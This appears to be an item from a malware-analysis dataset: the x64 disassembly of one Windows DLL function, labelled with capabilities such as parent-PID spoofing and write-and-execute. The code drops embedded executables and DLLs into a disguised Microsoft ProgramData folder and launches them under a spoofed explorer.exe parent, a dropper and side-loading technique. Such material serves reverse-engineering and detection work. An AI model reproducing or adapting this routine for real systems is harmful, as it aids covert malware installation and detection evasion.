Function at 0x180001930
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Enumerate processes
Spoof parent pid
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x690]
sub rsp, 0x790
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x680], rax
xor edx, edx
lea rcx, [rbp + 0x240]
mov r8d, 0x104
call fcn.180003d80
xor edx, edx
mov dword [rbp + 0x130], 0x646e6977
mov r8d, 0xf5
mov dword [rbp + 0x134], 0x2d73776f
lea rcx, [rbp + 0x13f]
mov dword [rbp + 0x138], 0x74736e69
mov word [rbp + 0x13c], 0x6c61
mov byte [rbp + 0x13e], 0x6c
call fcn.180003d80
xor esi, esi
lea r14, [0x180110870]
mov edi, esi
nop word [rax + rax]
movsxd rcx, edi
lea rdx, [rbp + 0x130]
add rcx, r14
call fcn.180003754
mov rbx, rax
test rax, rax
jne 0x1800019f9
inc edi
cmp edi, 0x1f4fc
jl 0x1800019d0
jmp 0x180001ac0
xor ecx, ecx
call fcn.180007600
mov rcx, rax
call fcn.180006c2c
xor edx, edx
lea rcx, [rbp - 0x20]
mov r8d, 0x104
call fcn.180003d80
mov rdi, rsi
nop dword [rax]
call fcn.180006c00
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
add r8b, 0x61
mov byte [rbp + rdi - 0x20], r8b
inc rdi
cmp rdi, 0x103
jl 0x180001a20
lea rcx, [rbp - 0x20]
mov eax, 2
nop
lea rbx, [rbx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rbx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rbx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rbx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rbx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rbx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rbx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rbx - 0x20], xmm0
movups xmmword [rbx - 0x10], xmm1
sub rax, 1
jne 0x180001a60
movzx eax, word [rcx]
mov word [rbx], ax
movzx eax, byte [rcx + 2]
mov byte [rbx + 2], al
lea rcx, [rbp + 0x240]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180001ad0
lea r8, str.C:ProgramDataMicrosoftDeviceSync_regid.1994_05.com.microsoftDiagnosticLogCSPpackagesPatchx64
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001af0
lea rcx, [rbp + 0x240]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180001b10
movzx eax, word [0x18001a940]
xor edx, edx
mov word [rcx], ax
mov r8d, 0x104
lea rcx, [rbp + 0x350]
call fcn.180003d80
xor edx, edx
lea rcx, [rbp + 0x460]
mov r8d, 0x104
call fcn.180003d80
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x104
call fcn.180003d80
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x240]
mov byte [rbp + rcx + 0x350], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001b70
lea rcx, [rbp + 0x350]
dec rcx
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180001b91
lea r8, str.HealthSCCM.exe
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001bb0
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x240]
mov byte [rbp + rcx + 0x460], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001bd0
lea rcx, [rbp + 0x460]
dec rcx
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180001bf1
lea r8, str.HealthServiceRuntime.dll
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001c10
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x240]
mov byte [rbp + rcx + 0x570], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001c30
lea rcx, [rbp + 0x570]
dec rcx
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180001c51
lea r8, str.msvcr120.dll
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001c70
lea rcx, [rbp + 0x240]
call fcn.1800012c0
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0x460]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rbp + 0x110], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800020ff
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rsi
mov r8d, 0x1f600
mov rdx, r14
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800020f6
cmp dword [rbp + 0x110], 0x1f600
jne 0x1800020f6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], rsi
lea rcx, str.C:ProgramDataMicrosoftDeviceSync_regid.1994_05.com.microsoftDiagnosticLogCSPpackagesPatchx64HealthSCCM.log
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rbp + 0x110], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800020ff
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rsi
mov r8d, 0xde07b
lea rdx, [0x1801313c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800020f6
cmp dword [rbp + 0x110], 0xde07b
jne 0x1800020f6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [0x18030f654]
lea rcx, str.C:ProgramDataMicrosoftDeviceSync_regid.1994_05.com.microsoftDiagnosticLogCSPpackagesPatchx64HealthSCCMCore.log
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov dword [rbp + 0x110], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800020ff
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rsi
mov r8d, edi
lea rdx, [0x18030f658]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800020f6
cmp dword [rbp + 0x110], edi
jne 0x1800020f6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0x570]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rbp + 0x110], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800020ff
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rsi
mov r8d, 0xeb2a8
lea rdx, [0x18001d9f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800020f6
cmp dword [rbp + 0x110], 0xeb2a8
jne 0x1800020f6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0x350]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rbp + 0x110], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001f05
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rsi
mov r8d, 0x7bd0
lea rdx, [0x180108ca0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x180130ca8]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x180001f13
test rax, rax
je 0x180001f84
mov edi, dword [0x18020f544]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov dword [rbp + 0x110], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001f84
lea r9, [rbp + 0x110]
mov qword [rsp + 0x20], rsi
mov r8d, edi
lea rdx, [0x18020f548]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
xor edx, edx
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x70], 0x70
mov rbx, rsi
movups xmmword [rbp - 0x60], xmm0
lea ecx, [rdx + 2]
mov dword [rbp - 0x54], 1
movups xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x50], si
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180002038
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x18000202f
nop word [rax + rax]
lea rdx, [rbp + 0xc]
lea rcx, str.explorer.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18000201e
mov r8d, dword [rbp - 0x18]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x18000202f
lea rdx, [rbp - 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180001ff0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
mov qword [rsp + 0x60], rbx
lea r9, [rsp + 0x58]
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x58]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r8d, r8d
lea r9, [rsp + 0x58]
mov rcx, rax
mov qword [rbp - 0x28], rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rcx, qword [rbp - 0x28]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x30], rsi
xor edx, edx
mov qword [rsp + 0x28], rsi
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rcx, [rbp + 0x118]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
lea rdx, [rbp + 0x350]
lea rcx, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 1
jmp 0x180002101
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x680]
xor rcx, rsp
call fcn.180002270
lea r11, [rsp + 0x790]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret